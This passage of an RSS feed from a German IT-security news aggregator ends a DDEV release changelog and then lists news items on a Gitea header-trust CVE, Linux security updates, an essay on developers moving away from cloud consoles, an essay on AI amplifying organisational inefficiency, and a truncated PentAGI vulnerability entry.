<li>fix(webserver): restore nonstandard router port in HTTP_HOST for nginx-fpm, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806198523" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8554" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8554/hovercard" href="https://github.com/ddev/ddev/issues/8554">#8554</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806397840" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8555" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8555/hovercard" href="https://github.com/ddev/ddev/pull/8555">#8555</a></li>
<li>fix(router): temp pin for traefik:3.6.13, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820038987" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8562" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8562/hovercard" href="https://github.com/ddev/ddev/issues/8562">#8562</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4821494411" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8564" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8564/hovercard" href="https://github.com/ddev/ddev/pull/8564">#8564</a></li>
<li>fix(shopware): pin Twig &lt;3.28 to work around admin HTTP 500 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4807420317" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8557" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8557/hovercard" href="https://github.com/ddev/ddev/pull/8557">#8557</a></li>
<li>docs: add TYPO3 special handling for <code>ddev share</code>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3594892063" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7799" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7799/hovercard" href="https://github.com/ddev/ddev/issues/7799">#7799</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806999999" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8556" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8556/hovercard" href="https://github.com/ddev/ddev/pull/8556">#8556</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/silverham/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/silverham">@silverham</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355742321" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8368" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8368/hovercard" href="https://github.com/ddev/ddev/pull/8368">#8368</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CallMeLeon167/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CallMeLeon167">@CallMeLeon167</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4375346339" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8384" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8384/hovercard" href="https://github.com/ddev/ddev/pull/8384">#8384</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mikee-3000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mikee-3000">@Mikee-3000</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372014245" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8383" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8383/hovercard" href="https://github.com/ddev/ddev/pull/8383">#8383</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wolcen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wolcen">@wolcen</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4441784873" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8412" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8412/hovercard" href="https://github.com/ddev/ddev/pull/8412">#8412</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chx">@chx</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494536198" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8420" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8420/hovercard" href="https://github.com/ddev/ddev/pull/8420">#8420</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mficzel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mficzel">@mficzel</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733715228" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8522" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8522/hovercard" href="https://github.com/ddev/ddev/pull/8522">#8522</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonpugh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonpugh">@jonpugh</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785496062" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8543" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8543/hovercard" href="https://github.com/ddev/ddev/pull/8543">#8543</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/ddev/ddev/compare/v1.25.2...v1.25.3"><tt>v1.25.2...v1.25.3</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure]]></title>
<description><![CDATA[Threat actors have been observed attempting to exploit a recently patched critical security flaw in Gitea Docker images, according to Sysdig. The vulnerability in question is CVE-2026-20896 (CVSS score: 9.8), a vulnerability that stems from the DevOps platform trusting the…
Read more →
The post T...]]></description>
<link>https://tsecurity.de/de/3649521/it-security-nachrichten/threat-actors-probe-gitea-docker-flaw-cve-2026-20896-13-days-after-disclosure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649521/it-security-nachrichten/threat-actors-probe-gitea-docker-flaw-cve-2026-20896-13-days-after-disclosure/</guid>
<pubDate>Mon, 06 Jul 2026 19:53:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Threat actors have been observed attempting to exploit a recently patched critical security flaw in Gitea Docker images, according to Sysdig. The vulnerability in question is CVE-2026-20896 (CVSS score: 9.8), a vulnerability that stems from the DevOps platform trusting the…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/threat-actors-probe-gitea-docker-flaw-cve-2026-20896-13-days-after-disclosure/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/threat-actors-probe-gitea-docker-flaw-cve-2026-20896-13-days-after-disclosure/">Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure]]></title>
<description><![CDATA[Threat actors have been observed attempting to exploit a recently patched critical security flaw in Gitea Docker images, according to Sysdig.

The vulnerability in question is CVE-2026-20896 (CVSS score: 9.8), a vulnerability that stems from the DevOps platform trusting the "X-WEBAUTH-USER" heade...]]></description>
<link>https://tsecurity.de/de/3649499/it-security-nachrichten/threat-actors-probe-gitea-docker-flaw-cve-2026-20896-13-days-after-disclosure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649499/it-security-nachrichten/threat-actors-probe-gitea-docker-flaw-cve-2026-20896-13-days-after-disclosure/</guid>
<pubDate>Mon, 06 Jul 2026 19:23:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Threat actors have been observed attempting to exploit a recently patched critical security flaw in Gitea Docker images, according to Sysdig.

The vulnerability in question is CVE-2026-20896 (CVSS score: 9.8), a vulnerability that stems from the DevOps platform trusting the "X-WEBAUTH-USER" header from any source IP address, effectively allowing an unauthenticated internet client to get elevated]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (container-tools:rhel8, grafana, grafana-pcp, kernel, ruby:2.5, and ruby:3.3), Debian (bird3, chromium, kernel, linux-6.1, mediawiki, nginx, openvpn, php-phpseclib, php8.2, php8.4, and sympa), Fedora (7zip, buildah, chromium, clamav, freerdp, leptoni...]]></description>
<link>https://tsecurity.de/de/3648889/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648889/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 06 Jul 2026 15:41:30 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (container-tools:rhel8, grafana, grafana-pcp, kernel, ruby:2.5, and ruby:3.3), <b>Debian</b> (bird3, chromium, kernel, linux-6.1, mediawiki, nginx, openvpn, php-phpseclib, php8.2, php8.4, and sympa), <b>Fedora</b> (7zip, buildah, chromium, clamav, freerdp, leptonica, mariadb10.11, mariadb11.8, nextcloud, nsd, openqa, openvpn, os-autoinst, pdns, pdns-recursor, perl-Crypt-ScryptKDF, podman, python-jupyter-server, and python-streamlink), <b>Mageia</b> (mariadb and yt-dlp), <b>Slackware</b> (libevent, libseccomp, mozilla, mutt, and php82), <b>SUSE</b> (apache2, containerd, dnsmasq, docker, dracut, firewalld-legacy, gimp, glibc, golang-github-docker-libnetwork, google-guest-agent, gstreamer-plugins-bad, helm, kernel, kernel-devel, keybase-client, kitty, krb5, libarchive, libnfs, libslirp, nilfs-utils, openCryptoki, openQA, openssl-3, pacemaker, pcr-oracle, perl-DBI, perl-List-SomeUtils-XS, podman, python-pip, python-pydata-sphinx-theme, python-tornado6, python3-lxml, python311-mistune, python313-joserfc, rmt-server, sg3_utils, systemd, tracker-miners, and xdg-dbus-proxy), and <b>Ubuntu</b> (cifs-utils, linux-nvidia, linux-nvidia-6.17, linux-raspi-realtime, and ncurses).]]></content:encoded>
</item>
<item>
<title><![CDATA[Why developers are over the cloud]]></title>
<description><![CDATA[You can be forgiven if you think the most important thing AWS ever sold developers was EC2. It’s not. No, AWS’s big gift to developers was permission to stop fretting about servers. That sounds obvious now, but it was close to magical at the time. Before the cloud, getting infrastructure meant wa...]]></description>
<link>https://tsecurity.de/de/3648443/ai-nachrichten/why-developers-are-over-the-cloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648443/ai-nachrichten/why-developers-are-over-the-cloud/</guid>
<pubDate>Mon, 06 Jul 2026 12:19:48 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>You can be forgiven if you think the most important thing AWS ever sold developers was EC2. It’s not. No, <a href="https://www.infoworld.com/article/4183710/cloud-at-20-how-aws-shaped-enterprise-it.html" data-type="link" data-id="https://www.infoworld.com/article/4183710/cloud-at-20-how-aws-shaped-enterprise-it.html">AWS’s big gift</a> to developers was permission to stop fretting about servers. That sounds obvious now, but it was close to magical at the time. Before the cloud, getting infrastructure meant waiting on procurement, hardware, and the somewhat arcane process that stood between a developer and a running machine. AWS turned that into a credit card and an API.</p>



<p>It was awesome.</p>



<p>AWS still (over)uses a great phrase for what it removed: “<a href="https://aws.amazon.com/what-is-aws/">undifferentiated heavy lifting</a>.” That is, all the mess associated with racking servers, patching operating systems, managing storage, planning capacity, etc. Important work, sure, but not the work that makes your application special. Let AWS do that, the company intoned, and developers could focus on the thing their customers actually cared about.</p>



<p>It was a brilliant abstraction. It helped build one of the most important technology companies of the past two decades. It’s also the same logic that increasingly makes the cloud seem superfluous. Not because the cloud is dying. It isn’t. The cloud is bigger and more essential than ever. But developers don’t begin by asking, “Which cloud should I use?” They begin with, “How quickly can I get this thing working?”</p>



<p>That is a different question, and it leads to different tools.</p>



<h2 class="wp-block-heading"><a></a>Where to begin?</h2>



<p>Let’s get the obvious thing out of the way: AWS remains the biggest developer cloud, and its revenue growth has accelerated in the wake of AI. In the<a href="https://survey.stackoverflow.co/2024/technology"> 2024 Stack Overflow Developer Survey</a>⁠, AWS was the top cloud platform, used by 48% of respondents. Microsoft Azure and Google Cloud followed at 27.8% and 25.1%, respectively.</p>



<p>The<a href="https://survey.stackoverflow.co/2025/technology"> 2025 Stack Overflow Developer survey</a>⁠ is more interesting, however, because the “cloud development” category no longer reads like a clear cloud-vendor horse race. <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker</a> jumped 17 points to 71% usage, followed by npm and then AWS at 43%. Kubernetes, Azure, Google Cloud, Cloudflare, Terraform, Firebase, Vercel, Netlify, and Supabase all show up in the same mental map.</p>



<p>This is my point: Developers aren’t simply choosing a different cloud first. Often, they’re not choosing a cloud first at all. They’re choosing a workflow, and a workflow is an increasingly separate decision from the underlying cloud.</p>



<h2 class="wp-block-heading"><a></a>The first mile moved</h2>



<p>For a long time, AWS owned the first mile. If you wanted to build something, you opened an AWS account. Need compute? Launch EC2. Storage? S3. Whatever a developer needed—database, queue, function, CDN, identity layer—AWS, the “everything store,” almost certainly had an answer.</p>



<p>It was magical! Then it became the norm. And, over time, it became a lot. The “everything store” arguably had too much, making it hard for developers to know how to use it effectively. The developer’s question became, “How much AWS do I have to understand before I can ship?” Developers increasingly don’t want to answer that question at the start.</p>



<p>The first mile now often begins in <a href="https://www.infoworld.com/article/4069045/how-github-won-software-development.html" data-type="link" data-id="https://www.infoworld.com/article/4069045/how-github-won-software-development.html">GitHub⁠</a>, which says more than 36 million developers joined in a single year. Or it begins in <a href="https://www.infoworld.com/article/4115165/why-boring-vs-code-keeps-winning.html">VS Code, which keeps winning</a> because it’s familiar, extensible, and already open. Or it begins in Cursor, GitHub Copilot, Claude, Codex, and the broader AI coding layer. <a href="https://github.blog/news-insights/octoverse/octoverse-a-new-developer-joins-github-every-second-as-ai-leads-typescript-to-1/">GitHub’s 2025 Octoverse⁠ says nearly 80% of new developers</a> on GitHub use Copilot within their first week. <a href="https://survey.stackoverflow.co/2025/ai/">Stack Overflow’s 2025 AI survey results⁠ point</a> the same way, with 84% of respondents using or planning to use AI tools in their development process, up from 76% in 2024.</p>



<p>The starting point is changing. The default interface to building software is becoming an AI-assisted workflow, not a cloud console. This doesn’t make the cloud less important, but it definitely makes it less visible.</p>



<h2 class="wp-block-heading"><a></a>The joy of not caring</h2>



<p>The developer platforms with momentum right now are winning because they expose less cloud infrastructure. Call it serverless if you like, but it’s deeper than AWS Lambda ever was. AWS Lambda still made you think in AWS. These new platforms make you think in your app.</p>



<p>Take <a href="https://vercel.com/">Vercel</a>⁠. It didn’t win developer mindshare by offering more than 200 services and praying developers would navigate them all. Instead, it attached itself to the way many front-end and full-stack developers already work: GitHub, Next.js, previews, deployments, performance, and a short path from code to live application. It seems to be working: Reuters <a href="https://www.reuters.com/business/ai-coding-startup-vercel-raises-300-million-valued-93-billion-2025-09-30/">reported last year that Vercel raised $300 million</a> at a $9.3 billion valuation⁠, after doubling its user base and growing revenue 82%.</p>



<p><a href="https://developers.cloudflare.com/workers/">Cloudflare</a> offers a similar promise from a different angle, <a href="https://www.infoworld.com/article/4014268/cloud-finally-gets-some-new-competition.html">as I’ve written</a>: deploy globally, run close to users, scale automatically, and don’t make infrastructure the developer’s first problem. <a href="https://supabase.com/">Supabase</a>⁠ does the same for data, wrapping Postgres with authentication, instant APIs, edge functions, real-time subscriptions, storage, and <a href="https://www.infoworld.com/article/2269766/what-is-vector-search-better-search-through-ai.html">vectors</a> so the database feels less like a separate system and more like an app platform.</p>



<p>None of this is anti-cloud. But it’s very definitely stripping away the need to even think about cloud. And it’s just as definitely where developers are focused today.</p>



<p>AI accelerated all of this because it changed the first question developers ask. For an AI application, the opening move often isn’t where do you host it, but rather which model, which agent framework, etc., will get you to a live application fastest? For this reason, <a href="https://developers.openai.com/">OpenAI’s developer platform⁠ isn’t framed</a> as renting infrastructure. It’s framed as building with models, APIs, tools, docs, and examples. Similarly, <a href="https://www.anthropic.com/product/claude-code">Anthropic’s Claude Code⁠ isn’t positioned</a> as configuring a cloud environment; it’s an agentic coding system that works in your code base and helps you build, test, and ship.</p>



<h2 class="wp-block-heading"><a></a>The second mile matters more</h2>



<p>I’m not saying the cloud vendors should abandon hope. Indeed, though the first mile has moved away from the hyperscalers, the second mile is still very much theirs to win.</p>



<p>Vercel, Cloudflare, Supabase, OpenAI, Anthropic, and GitHub are brilliant at helping developers make something work, fast. But in the enterprise, “fast” isn’t the key priority: Enterprises eventually need the boring stuff like <a href="https://www.csoonline.com/article/518296/what-is-iam-identity-and-access-management-explained.html">identity</a>, network controls, <a href="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html">observability</a>, cost management, compliance, and the rest of the unglamorous apparatus that keeps customer data from leaking onto Reddit.</p>



<p>Boring is good when boring means the thing works.</p>



<p>This is where AWS, Azure, Google Cloud, Oracle, and other infrastructure companies should have an advantage. But it won’t be enough to say, “We have the grown-up features.” That’s true, but it’s dull, and in this case, “dull” isn’t a winning proposition. No, the strategic challenge for the hyperscalers is to make the jump from prototype to production feel like an upgrade instead of a punishment.</p>



<p>AWS’s new <a href="https://www.aboutamazon.com/news/aws/aws-1-billion-forward-deployed-ai-engineers">$1 billion investment in forward-deployed AI engineers</a>⁠ is interesting for exactly this reason. AWS says the new organization will embed experts with customers to co-develop and deploy agentic AI solutions in days. That’s not classic bottom-up developer love, but it’s a smart recognition that the bottleneck has moved closer to the application. The hard part is turning capability into a working system, not merely getting access to infrastructure or a model.</p>



<p>Yep. Exactly.</p>



<h2 class="wp-block-heading"><a></a>Hiding the cloud</h2>



<p>The mistake for cloud infrastructure companies would be to respond to this by trying to become a Vercel, Supabase, GitHub, OpenAI, or Anthropic all at once. That’s the classic incumbent move, and it rarely works. The better move is narrower: become the most natural next step when the prototype starts to matter.</p>



<p>That means meeting developers where they work: GitHub, VS Code, Cursor-style environments, <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">CI/CD systems</a>, and <a href="https://www.infoworld.com/article/3812583/what-you-need-to-know-about-developing-ai-agents.html">AI agents</a>. It means outcome-native starts: deploy this app, connect this data, expose this API, add auth, evaluate this agent, secure this workflow, move this prototype into production. It means fewer scavenger hunts across product pages and <a href="https://www.infoworld.com/article/4079018/building-a-golden-path-to-ai.html">establishing more golden paths</a> (yes, even if that infuriates a service team that gets left out).</p>



<p>The old question was, “Can you run my workload?” For AWS, Azure, Google Cloud, Oracle, and others, the answer is almost always yes. But no one is impressed by this anymore. Therefore, the better question is, “Can you become part of how I build?”</p>



<p>Developers came to the cloud because it was the easiest way to get infrastructure. They’re shifting to developer experience platforms because those are the easiest way to get outcomes. If the cloud providers can become part of the first mile before the Vercels of the world become part of the second mile, they’ll win, and big. If they don’t, well….</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI doesn’t eliminate inefficiency. It amplifies it]]></title>
<description><![CDATA[Over the past two years, I have spent a significant amount of time discussing artificial intelligence with technology leaders, business executives and teams across my own organization. Most conversations begin with questions about the use cases, tools, governance and return on investment. Leaders...]]></description>
<link>https://tsecurity.de/de/3648397/it-security-nachrichten/ai-doesnt-eliminate-inefficiency-it-amplifies-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648397/it-security-nachrichten/ai-doesnt-eliminate-inefficiency-it-amplifies-it/</guid>
<pubDate>Mon, 06 Jul 2026 12:08:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Over the past two years, I have spent a significant amount of time discussing artificial intelligence with technology leaders, business executives and teams across my own organization. Most conversations begin with questions about the use cases, tools, governance and return on investment. Leaders want to know which technologies are creating the most value, where to invest next and how quickly they should scale adoption.</p>



<p>Those are important questions, but I have noticed another pattern emerging as organizations move beyond experimentation and begin embedding AI into everyday work. In many cases, the technology itself is not the primary obstacle to success. Instead, AI is exposing organizational challenges that have existed for years. Processes that were already inefficient become more visible. Ambiguous decision-making structures become harder to ignore. Accountability gaps that once slowed projects quietly now become more apparent as work accelerates.</p>



<p>This has led me to a simple conclusion: AI does not eliminate inefficiency. It amplifies it.</p>



<p>That observation should not be interpreted as a criticism of AI. In fact, it highlights just how powerful the technology can be. AI accelerates workflows, shortens analysis cycles, improves access to information and increases employee productivity. However, because it accelerates the way work gets done, it also magnifies the strengths and weaknesses of the operating environment in which it is deployed. Organizations with strong processes and clear accountability often realize value quickly. Organizations with operational complexity frequently discover that technology alone cannot overcome management challenges.</p>



<h2 class="wp-block-heading">AI accelerates existing operating models</h2>



<p>Many organizations approach AI as a technology initiative. They evaluate platforms, launch pilots and identify tasks that can be automated. While those activities are important, they can also create a false impression that AI itself is the primary driver of transformation.</p>



<p>In my experience, the greatest value comes not from the technology alone but from the willingness to rethink how work gets done. AI can automate tasks, but it cannot redesign a broken workflow. If a process contains unnecessary approvals, duplicate activities, conflicting priorities or poorly defined handoffs, those issues remain regardless of how sophisticated the technology becomes.</p>



<p>This idea is consistent with a broader lesson I explore in my latest book, <a href="https://www.nicholascolisto.com/digital-inside-out"><em>Digital Inside Out</em></a>: digital transformation succeeds when organizations focus first on how work gets done, how decisions are made and how accountability is established. Technology can accelerate performance, but it rarely compensates for weaknesses in the underlying operating model. In many cases, new technologies simply make those weaknesses more visible.</p>



<p>Researchers at the<a href="https://mitsloan.mit.edu/ideas-made-to-matter/how-ai-reshaping-workflows-and-redefining-jobs?utm_source=chatgpt.com" rel="nofollow"> </a><a href="https://mitsloan.mit.edu/ideas-made-to-matter/how-ai-reshaping-workflows-and-redefining-jobs?utm_source=chatgpt.com" rel="nofollow">MIT Sloan School of Management</a> have reached a similar conclusion. Their work suggests that organizations generate the greatest value from AI when they redesign workflows rather than simply automate individual tasks. In other words, the most significant gains come from rethinking how work flows through the organization rather than accelerating isolated activities.</p>



<p>I have seen this pattern repeatedly throughout my career. Enterprise systems did not fix poor business processes. Collaboration platforms did not automatically improve communication. Analytics tools did not create accountability. Each technology delivered substantial benefits, but only when accompanied by process redesign, governance improvements and leadership commitment. AI follows the same pattern.</p>



<p>Organizations that simply layer AI on top of existing complexity often find themselves completing inefficient work faster. Employees may generate reports in minutes instead of hours, produce presentations more quickly and analyze larger volumes of information. Yet the underlying process may still contain the same bottlenecks that limited performance before AI was introduced. The technology increases speed, but it does not automatically improve effectiveness.</p>



<h2 class="wp-block-heading">Why decision-making becomes the new bottleneck</h2>



<p>One of the most interesting effects of AI is how it changes the nature of organizational constraints. Historically, many companies struggled because information was difficult to access. Data was fragmented across systems, reporting cycles were slow and analysis required significant manual effort. Leaders frequently spent considerable time gathering information before they could make decisions.</p>



<p>AI is rapidly reducing those barriers. Teams can now summarize large volumes of information, identify patterns, generate recommendations and produce insights in a fraction of the time previously required. Access to information is becoming less of a competitive differentiator because the effort required to generate it continues to decline.</p>



<p>As this happens, another challenge becomes more visible. Many organizations discover that their greatest constraint is no longer information. It is decision-making.</p>



<p>When ownership is unclear, faster insights do not necessarily produce faster outcomes. Teams may have access to excellent recommendations yet still struggle to determine who is responsible for acting on them. Multiple stakeholders may believe they have authority over a decision. Escalations become more common. Consensus-driven cultures can become overwhelmed by the volume of information being generated.</p>



<p>Some of the most difficult conversations I have encountered in AI initiatives have had little to do with models, prompts or technical architecture. Instead, they involve governance, ownership, accountability and decision rights. These challenges existed before AI, but the technology makes them more visible because it removes many of the delays previously associated with gathering and analyzing information.</p>



<p>This trend is likely to become even more pronounced as organizations adopt AI agents capable of executing tasks and workflows. While technology can automate actions, accountability remains a leadership responsibility. Leaders must still determine who owns outcomes, who approves actions and who is responsible when decisions create unintended consequences.</p>



<h2 class="wp-block-heading"><a></a>What leaders should fix before scaling AI</h2>



<p>Deloitte’s annual<a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html?utm_source=chatgpt.com" rel="nofollow"> </a><a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html?utm_source=chatgpt.com" rel="nofollow">State of AI in the Enterprise research</a> highlights the challenges organizations face when attempting to scale AI beyond pilots and isolated use cases. This finding reinforces a lesson many leaders are learning firsthand: realizing value from AI requires organizational change, process redesign and strong leadership, not just new technology</p>



<p>For CIOs and business leaders, one of the most important priorities should be simplifying processes before automating them. AI can reduce manual effort, but it rarely eliminates complexity that has been embedded into a process over many years. Organizations often achieve greater value by removing unnecessary steps before introducing automation.  As Jon McNeill writes in his book, The Algorithm, <em>“No need to waste time speeding up the old process. Instead, design, simplify, optimize and begin to work your new process. Then speed it up.”</em></p>



<p>Leaders should also establish clear decision rights before scaling AI-enabled workflows. As information becomes easier to generate, organizations need clarity regarding who is accountable for making decisions and driving action. Without that clarity, AI can create more recommendations than the organization is capable of acting upon.</p>



<p>Another important consideration is measurement. Many organizations continue to evaluate AI success through adoption rates, license utilization or employee engagement metrics. While these measures provide useful signals, they do not necessarily reflect business value. Leaders should focus on outcomes such as productivity improvements, revenue growth, cost reduction, customer experience enhancements and risk mitigation.</p>



<p>Most importantly, leaders should recognize that AI adoption is fundamentally a leadership challenge. Technology can accelerate work, but leaders determine how work is organized, governed, measured and improved. Organizations that treat AI solely as a technology initiative often struggle to move beyond experimentation. Organizations that use AI as an opportunity to improve processes, clarify accountability and modernize operating models are more likely to achieve sustainable results.</p>



<p>As AI adoption continues to accelerate, I believe the organizations that realize the greatest value will not necessarily be those with the largest investments or the most advanced models. They will be the organizations willing to address the management and operational issues that AI brings into focus. In many cases, AI is not creating new problems. It is revealing existing ones with greater speed and clarity.</p>



<p>That may be one of the most valuable contributions AI can make. By exposing inefficiencies that organizations have learned to tolerate, it creates an opportunity for leaders to address them directly. The companies that seize that opportunity will be better positioned not only to benefit from AI, but also to improve the way their organizations operate long after the current wave of innovation has passed.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tracking AI in the supply chain]]></title>
<description><![CDATA[Supply chains have become a key testing ground for AI as businesses manage vast data volumes and complex networks]]></description>
<link>https://tsecurity.de/de/3648134/it-nachrichten/tracking-ai-in-the-supply-chain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648134/it-nachrichten/tracking-ai-in-the-supply-chain/</guid>
<pubDate>Mon, 06 Jul 2026 10:03:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Supply chains have become a key testing ground for AI as businesses manage vast data volumes and complex networks]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-14784 | vxcontrol PentAGI up to 2.1.0 Docker API client.go sandbox (Issue 337 / EUVD-2026-41795)]]></title>
<description><![CDATA[A vulnerability marked as critical has been reported in vxcontrol PentAGI up to 2.1.0. This affects an unknown function of the file backend/pkg/docker/client.go of the component Docker API. The manipulation leads to sandbox issue.

This vulnerability is listed as CVE-2026-14784. The attack may be...]]></description>
<link>https://tsecurity.de/de/3647754/sicherheitsluecken/cve-2026-14784-vxcontrol-pentagi-up-to-210-docker-api-clientgo-sandbox-issue-337-euvd-2026-41795/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3647754/sicherheitsluecken/cve-2026-14784-vxcontrol-pentagi-up-to-210-docker-api-clientgo-sandbox-issue-337-euvd-2026-41795/</guid>
<pubDate>Mon, 06 Jul 2026 06:53:36 +0200</pubDate>
